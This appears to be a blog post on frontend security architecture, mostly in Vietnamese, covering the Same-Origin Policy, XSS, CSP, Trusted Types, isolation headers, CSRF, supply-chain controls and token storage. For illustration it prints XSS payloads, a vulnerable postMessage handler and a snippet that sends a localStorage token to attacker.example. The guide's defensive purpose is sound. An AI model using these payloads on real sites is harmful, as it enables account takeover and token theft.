jvinhit//lab

Search posts

Type to search across journal entries.

navigate open esc close

Frontend Security Architecture: Browser Model, XSS, CSP, and Defense-in-Depth

How the browser security model, XSS, CSP, isolation headers, and supply-chain controls form a layered defense for modern frontend systems.

Trình duyệt không phải môi trường runtime đáng tin cho logic ứng dụng của bạn. Mỗi tab tải code từ hàng chục origin, thực thi với quyền gần như native, và lộ một attack surface rộng qua DOM, storage API và network stack. Kỹ sư frontend senior không coi security như một mục checklist gắn thêm vào feature branch. Họ thiết kế defense-in-depth: các lớp fail độc lập, header ràng buộc execution, encoding sống sót qua context switch, và threat model giả định compromise ở mọi ranh giới.

Bài viết này map browser security model từ first principles qua các mitigation hiện đại (2024–2026). Chúng ta cover Same-Origin Policy, taxonomy và sink của XSS, Content Security Policy, cross-origin isolation, clickjacking, ranh giới CSRF, supply-chain risk và token storage — không dạy lại CORS hay cookie mechanics chi tiết.

The Same-Origin Policy: Foundation, Not Firewall

Same-Origin Policy (SOP) là primitive isolation chính của trình duyệt. Hai URL cùng origin khi scheme, host và port khớp chính xác.

ComponentExample AExample BSame origin?
SchemehttpshttpsYes
Hostapp.example.comapp.example.comYes
Port443 (implicit)443Yes
Full originhttps://app.example.comhttps://api.example.comNo — host differs
Full originhttps://app.example.comhttp://app.example.comNo — scheme differs

Site là khái niệm thô hơn, dùng cho isolation rộng hơn (vd phase-out third-party cookie). Registrable domain gom subdomain: app.example.comcdn.example.com cùng site (example.com) nhưng khác origin.

What SOP Protects

SOP ngăn một origin đọc response của origin khác qua JavaScript. Trang https://bank.example không thể fetch('https://evil.com/steal') rồi inspect body trừ khi evil.com opt-in qua CORS. Nó cũng chặn truy cập DOM cross-origin: iframe từ attacker.com nhúng trong trang bạn không đọc được DOM tree.

What SOP Does Not Protect

SOP không ngăn origin của bạn thực thi chuỗi do attacker kiểm soát. Nếu app phản chiếu user input vào HTML không encode, tấn công chạy same-origin — SOP không liên quan. SOP không chặn CSRF: trình duyệt sẽ gắn cookie vào request cross-site trừ khi control khác can thiệp. SOP không validate script bạn tải là benign — chỉ đảm bảo chúng chạy với quyền origin bạn sau khi load.

Insight cốt lõi: SOP định nghĩa trust boundary giữa các origin, không phải trong ứng dụng. Threat model phải giả định mọi chuỗi vượt ranh giới HTML, JavaScript, URL hoặc CSS context có thể thành code execution.

Cross-Site Scripting (XSS): Taxonomy and Mechanics

XSS là injection khi dữ liệu attacker kiểm soát trở thành script executable trong browser context của nạn nhân. Mọi biến thể XSS đều vi phạm giả định “data vẫn là data”.

Reflected XSS

Attacker tạo URL chứa payload; server echo vào response không encode. Nạn nhân click link; payload chạy trong session nạn nhân.

GET /search?q=<script>fetch('/api/transfer',{method:'POST',body:'to=attacker&amount=1000'})</script> HTTP/1.1
Host: shop.example.com

The server might render:

<p>Results for: <script>fetch('/api/transfer', ...)</script></p>

Impact thường theo session và cần social engineering, nhưng scanner tự động và open redirect khuếch đại phạm vi.

Stored XSS

Payload tồn tại phía server (database, comment, profile field) và chạy cho mọi user xem resource bị nhiễm. Stored XSS là class bug frontend-adjacent nghiêm trọng nhất vì scale ngang qua user không cần URL riêng từng nạn nhân.

DOM-Based XSS

Server trả HTML an toàn, nhưng JavaScript client đọc input attacker từ location.hash, postMessage, hoặc localStorage rồi ghi vào sink không sanitize. Static analysis và scanner server-side bỏ sót vì write vulnerable xảy ra hoàn toàn trong trình duyệt.

// Vulnerable: hash flows to innerHTML
const params = new URLSearchParams(location.hash.slice(1));
document.getElementById('bio').innerHTML = params.get('text');
// ?text=<img src=x onerror=alert(document.cookie)> in hash

Sinks: Where Data Becomes Code

Sink là API nào parse hoặc execute input như code hoặc markup.

Sink categoryExamplesRisk
HTML injectioninnerHTML, outerHTML, document.write, insertAdjacentHTMLScript execution via <script>, event handlers
JavaScript executioneval, new Function, setTimeout(string), setInterval(string)Direct arbitrary code
URL navigationlocation.href = userInput, window.open(userInput)javascript: URLs
Framework escape hatchesReact dangerouslySetInnerHTML, Vue v-html, Angular [innerHTML]Same as HTML sinks, often with false confidence
Template literals in JSDynamic script construction"${userInput}" in <script> blocks

Framework hiện đại tự escape text interpolation (\{userName\} trong JSX render text đã escape). Chúng không bảo vệ raw HTML sink hay URL javascript: trong attribute như href=\{userUrl\} khi URL chưa validate.

Contextual Output Encoding

Encoding không phải one-size-fits-all. Cùng một chuỗi an toàn trong HTML text có thể break out trong attribute hoặc JavaScript string context.

ContextEncode forExample transform
HTML text<, >, &, quotes>&gt;
HTML attributequotes, <, &"&quot;
JavaScript stringquotes, backslash, newlines, </script>\\\
URL parameterRFC 3986 percent-encodingspace → %20
CSS valueavoid injection via expression(), url()strict allowlist

Quy tắc: Encode ở thời điểm cuối cùng chịu trách nhiệm, đúng context, khi output — không khi lưu input. Input validation (allowlist, giới hạn độ dài) bổ sung encoding nhưng không thay thế.

DOMPurify and HTML Sanitization

Khi bắt buộc render rich HTML (CMS, output WYSIWYG), sanitization là bắt buộc. DOMPurify là thư viện client/server de facto: parse HTML trong DOM tách, strip node và attribute nguy hiểm, trả markup an toàn.

import DOMPurify from 'dompurify';

const dirty = userProvidedHtml;
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'li'],
  ALLOWED_ATTR: ['href', 'title'],
  ALLOW_DATA_ATTR: false,
});

element.innerHTML = clean; // Still a sink — but input is sanitized

Cấu hình allowlist hẹp. Mỗi tag/attribute được phép là attack surface CVE tương lai khi browser parsing thay đổi. Sanitize lại trên server dù client đã làm — defense in depth.

Trusted Types API

Trusted Types chuyển phòng XSS từ convention sang enforcement. Khi bật qua CSP require-trusted-types-for 'script', gán string vào sink nguy hiểm throw trừ khi giá trị là TrustedHTML, TrustedScript, hoặc TrustedScriptURL tạo bởi policy đăng ký.

// Register a policy (typically once at app bootstrap)
const policy = trustedTypes.createPolicy('app', {
  createHTML: (input) => DOMPurify.sanitize(input),
  createScriptURL: (url) => {
    const parsed = new URL(url, location.origin);
    if (parsed.origin !== location.origin) throw new TypeError('External scripts blocked');
    return parsed.href;
  },
});

// Safe usage
element.innerHTML = policy.createHTML(untrustedMarkup);

// Throws TypeError — raw string rejected
// element.innerHTML = untrustedMarkup;

Trusted Types tích hợp CSP: cùng nhau loại bỏ cả class DOM XSS bằng cách biến assignment không an toàn thành runtime error cứng. Browser support tốt trên Chromium; polyfill có cho rollout dần.

Content Security Policy (CSP)

CSP là execution firewall khai báo qua HTTP header (hoặc <meta> với hạn chế). Nó báo trình duyệt resource nào được load và capability nào bị từ chối.

Directives That Matter

DirectivePurpose
default-srcFallback for unspecified fetch directives
script-srcControls JavaScript execution sources
style-srcCSS sources (inline styles need nonces/hashes or 'unsafe-inline')
connect-srcfetch, XHR, WebSocket, EventSource targets
frame-ancestorsWho may embed this page (clickjacking defense)
base-uriRestricts <base href> — prevents base tag hijacking
object-srcBlocks plugins ('none' recommended)
require-trusted-types-forEnables Trusted Types enforcement
upgrade-insecure-requestsAuto-upgrade HTTP subresources to HTTPS

Nonces vs Hashes vs Allowlists

Allowlist (script-src https://cdn.example.com) fail thực tế: CDN host JSONP endpoint, Angular bundle và polyfill legacy thành script gadget. Mọi JSONP hoặc file upload trên origin trong allowlist thành bypass vector.

Nonce là giá trị random mỗi response, inject vào cả CSP header và mỗi thẻ <script> được phép.

Content-Security-Policy: script-src 'nonce-abc123xyz' 'strict-dynamic'; object-src 'none'; base-uri 'none';
<script nonce="abc123xyz" src="/app.js"></script>
<script nonce="abc123xyz">/* inline bootstrap */</script>

Hash ghim nội dung inline script chính xác: script-src 'sha256-base64encodeddigest='. Hash dùng cho inline snippet tĩnh nhưng vỡ khi đổi whitespace — không thực tế cho app dynamic.

'strict-dynamic' (CSP Level 3) cho phép script load bởi nonce/hash/trusted script load thêm script mà không cần allowlist mọi origin. Đây là cách output bundler hiện đại sống sót strict CSP mà không maintain CDN list dễ vỡ.

Report-Only and Reporting Endpoints

Triển khai CSP trong Content-Security-Policy-Report-Only trước khi enforce. Violation được report nhưng không block — thu telemetry về third-party script, inline handler legacy và leak build pipeline.

Content-Security-Policy-Report-Only: script-src 'nonce-random' 'strict-dynamic'; report-uri /api/csp-report; report-to csp-endpoint
Reporting-Endpoints: csp-endpoint="/api/csp-report"

Reporting API (report-to) thay report-uri deprecated trên browser hiện đại. Gom report trong observability stack; alert pattern violation mới sau deploy.

A Realistic Strict CSP (2026)

For a nonce-based SSR app (Astro, Next.js with middleware, etc.):

Content-Security-Policy:
  default-src 'none';
  script-src 'nonce-{RANDOM}' 'strict-dynamic' https:;
  style-src 'nonce-{RANDOM}';
  img-src 'self' data: https:;
  font-src 'self';
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'none';
  object-src 'none';
  require-trusted-types-for 'script';
  trusted-types app dompurify;
  upgrade-insecure-requests;

Trade-off thật: 'strict-dynamic' bỏ qua host allowlist trên browser hỗ trợ (by design). Widget third-party (analytics, chat) cần propagate nonce hoặc iframe isolation. 'unsafe-inline''unsafe-eval' nên coi là nợ migration tạm, không phải kiến trúc.

Vì sao allowlist fail: CSP evaluator của Google ghi nhận hàng trăm bypass qua JSONP, Angular template và CDN path confusion. Nonce + strict-dynamic là consensus ngành cho app dynamic.

Một số API mạnh (SharedArrayBuffer, timer độ phân giải cao, performance.measureUserAgentSpecificMemory) cần cross-origin isolation — đảm bảo cấp process không có nội dung cross-origin không tin cậy chia sẻ address space.

Cross-origin isolation requires both:

Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
HeaderEffect
COOP (Cross-Origin-Opener-Policy: same-origin)Isolates browsing context group; popups cannot retain window.opener reference across origins
COEP (Cross-Origin-Embedder-Policy: require-corp)Blocks cross-origin resources unless they explicitly opt in to being embedded
CORP (Cross-Origin-Resource-Policy: same-origin or cross-origin)Declares whether a resource may be loaded cross-origin into a COEP page

Asset third-party (CDN, font, analytics pixel) phải gửi CORP/CORS header phù hợp hoặc proxy same-origin. Đây là chi phí tích hợp đáng kể — lên kế hoạch trước khi dùng SharedArrayBuffer trong WASM hoặc media pipeline production.

Verify isolation in DevTools:

console.log(crossOriginIsolated); // true when COOP + COEP succeed
console.log(typeof SharedArrayBuffer !== 'undefined'); // true when isolated

Permissions-Policy

Permissions-Policy (trước là Feature-Policy) tắt browser feature ở cấp document và iframe.

Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=(), usb=(), interest-cohort=()

Áp least privilege: chỉ delegate feature cho origin cần qua attribute allow trên iframe. Giới hạn blast radius khi embed third-party bị compromise.

Clickjacking: Frame Control

Clickjacking phủ iframe vô hình của site bạn lên UI decoy; click định vào decoy kích hoạt action trên trang đã authenticated.

Legacy: X-Frame-Options: DENY hoặc SAMEORIGIN — đơn giản nhưng không express allowlist.

Modern: CSP frame-ancestors replaces XFO with finer control:

Content-Security-Policy: frame-ancestors 'none';
# Or allow specific embedders:
Content-Security-Policy: frame-ancestors 'self' https://partner.example.com;

Dùng frame-ancestors trên deploy mới; giữ XFO defense-in-depth cho user agent cũ. Với trang phải embed được (widget), tách route embeddable với frame-ancestors nới lỏng và CSP strict trên route nhạy cảm.

CSRF and SameSite: Brief Boundaries

Cross-Site Request Forgery lừa trình duyệt nạn nhân gửi request đã authenticated mà nạn nhân không chủ ý. Trình duyệt gắn session cookie tự động — SOP không chặn request, chỉ đọc response.

Frontend-relevant mitigations (server-enforced, frontend-aware):

  • SameSite cookie (SameSite=Lax hoặc Strict) — xem bài cookies deep-dive cho semantics; Lax là default hiện đại trên browser.
  • CSRF token — synchronizer token trong form hoặc double-submit cookie; SPA phải gắn token vào fetch mutating.
  • Custom headerfetch với X-Requested-With hoặc custom header kích hoạt CORS preflight; form POST cross-site đơn giản không set header tùy ý.
  • Origin/Referer validation — server từ chối request thiếu hoặc lệch Origin trên endpoint đổi state.

Đừng chỉ dựa CORS cho CSRF — CORS hạn chế đọc response, không gửi request có cookie.

Supply-Chain Security

Bundle là nối hàng nghìn dependency transitive, bất kỳ cái nào có thể exfiltrate data lúc runtime hoặc build. Sự cố event-stream / flatmap-stream (2018) và takeover tài khoản npm sau đó đưa supply-chain attack vào threat modeling thường xuyên.

Dependency Hygiene

ControlWhy
Lockfiles (package-lock.json, pnpm-lock.yaml)Reproducible installs; CI fails on unexpected dependency drift
npm audit / OSV / Snyk in CIKnown CVE detection (with false-positive triage)
Minimal dependenciesEvery package is code you did not write
Pin major versions; review minor/patch diffsSupply-chain publishes happen on patch releases
.npmrc ignore-scripts in CIBlocks lifecycle script execution during install (trade-off: some packages break)

Subresource Integrity (SRI)

Khi load script/style từ CDN không kiểm soát, SRI verify nội dung với cryptographic hash.

<script
  src="https://cdn.example.com/lib/analytics.v2.min.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous"
></script>

Nếu CDN bị compromise, hash lệch chặn execution. Regenerate hash mỗi lần bump version — tự động trong build pipeline.

Import Maps and Third-Party Scripts

Import maps điều khiển module resolution trong browser không cần bundler. Coi mapped URL như dependency: pin version, dùng SRI nếu có thể, và CSP hạn chế script-src.

Build-Time Script Execution

Script postinstall, plugin @babel/core, và tích hợp Vite/Astro custom chạy với full filesystem và network trên máy dev và CI. Package bị compromise tấn công trước khi app ship. Mitigation: --ignore-scripts trong CI với exception allowlist, review dependency trên PR, và npm provenance / verify Sigstore cho package publish.

Secrets and Tokens on the Frontend

Mọi thứ trong storage JavaScript-accessible đều đọc được bởi script chạy trên origin — kể cả XSS payload và tag third-party bị compromise.

Why localStorage JWT Is Risky

Lưu access token trong localStorage hoặc sessionStorage lộ cho mọi script same-origin. Một bug XSS duy nhất thành account takeover toàn phần không có rào httpOnly.

// Attacker payload after XSS:
const token = localStorage.getItem('access_token');
fetch('https://attacker.example/exfil', {
  method: 'POST',
  body: token,
});

httpOnly Cookies and BFF Pattern

Session token trong cookie httpOnly, Secure, SameSite không đọc được từ JavaScript — XSS không exfiltrate trực tiếp. Trade-off: SPA cần BFF hoặc API proxy same-origin để gắn cookie server-side; API call client-side thuần sang domain API riêng tái giới thiệu pattern token-in-JS trừ khi dùng cookie auth với CORS cẩn thận (xem bài CORS deep-dive).

Token Theft Without Full XSS

Extension trình duyệt độc, package npm trong bundle bị compromise, và handler postMessage không validate origin cho phép đánh cắp token không cần reflected XSS cổ điển. Access token sống ngắn + refresh rotation + bind token với DPoP hoặc mTLS (nếu áp dụng) giới hạn cửa sổ replay.

// Vulnerable postMessage handler
window.addEventListener('message', (event) => {
  // Missing: if (event.origin !== 'https://trusted.example') return;
  handleOAuthCallback(event.data);
});

Không truyền token trong URL fragment (OAuth implicit flow legacy) — lộ qua Referer, browser history và server log. Dùng Authorization Code với PKCE cho public client.

Threat Modeling for Principal Engineers

Security architecture không phải danh sách feature — là phản hồi có ưu tiên với threat được model dưới giả định rõ ràng.

STRIDE-Oriented Frontend View

STRIDEFrontend manifestationPrimary controls
SpoofingFake login forms, typosquat CDNCSP, SRI, visual integrity, auth UX
TamperingDOM manipulation, MITM scriptsCSP, SRI, HTTPS, Subresource checks
RepudiationMissing audit on client actionsServer-side logging (client logs are untrusted)
Information disclosureXSS exfiltration, postMessage leaksEncoding, CSP connect-src, httpOnly cookies
Denial of serviceMain-thread bombs, memory exhaustionPermissions-Policy, input limits, worker isolation
Elevation of privilegePrototype pollution → RCE gadgetsObject.freeze patterns, CSP, dependency audit

Security Checklist (Deploy Gate)

Dùng làm release gate, không phải audit một lần:

Headers and policy

  • Strict CSP with nonces + strict-dynamic; no 'unsafe-eval' in production
  • frame-ancestors 'none' (or explicit allowlist) on authenticated routes
  • Cross-Origin-Opener-Policy / Cross-Origin-Embedder-Policy if using isolated APIs
  • Permissions-Policy default-deny on sensitive features
  • HSTS with preload consideration for apex domains
  • CSP Report-Only staging before enforcement changes

Application code

  • No string-to-sink paths without sanitization or Trusted Types policy
  • Contextual encoding at every template boundary
  • postMessage handlers validate event.origin strictly
  • OAuth: Authorization Code + PKCE; no tokens in URLs
  • Dependencies pinned; lockfile committed; audit in CI

Authentication

  • Session tokens in httpOnly cookies (or equivalent non-JS storage)
  • SameSite + Secure on all auth cookies
  • CSRF tokens on all state-changing server endpoints
  • Short-lived access tokens with rotation

Supply chain

  • SRI on external scripts/styles
  • Build pipeline runs with restricted install scripts
  • Third-party scripts inventory matches CSP allowlist/nonce strategy

Verification

  • DAST + manual XSS testing on DOM sinks and rich text paths
  • CSP violation dashboard monitored post-deploy
  • crossOriginIsolated verified if relying on SAB/WASM threads

Assume Breach, Layer Anyway

Không control đơn lẻ sống sót attacker quyết tâm với XSS + CSP yếu + token trong localStorage. Mục tiêu là tăng chi phí attacker để bug bị cô lập, phát hiện và vô dụng trước exfiltration. Principal engineer ghi rõ lớp nào bảo vệ asset nào, cái gì fail open vs closed, và incident response tắt script third-party bị compromise thế nào không redeploy cả app.

Closing Frame

Trình duyệt cho mỗi origin runtime mạnh và tin bạn không biến data thành code. Same-Origin Policy vẽ tường giữa các site; CSP, Trusted Types và isolation header vẽ tường trong origin bạn; encoding và sanitization giữ user data đúng lane; supply-chain discipline giữ người lạ khỏi build. Không cái nào thay authorization server-side an toàn — frontend chỉ tăng chi phí abuse, không enforce trust. Thiết kế cho phù hợp: fail closed, report violation, và coi mọi chuỗi là hostile cho đến khi chứng minh ngược lại.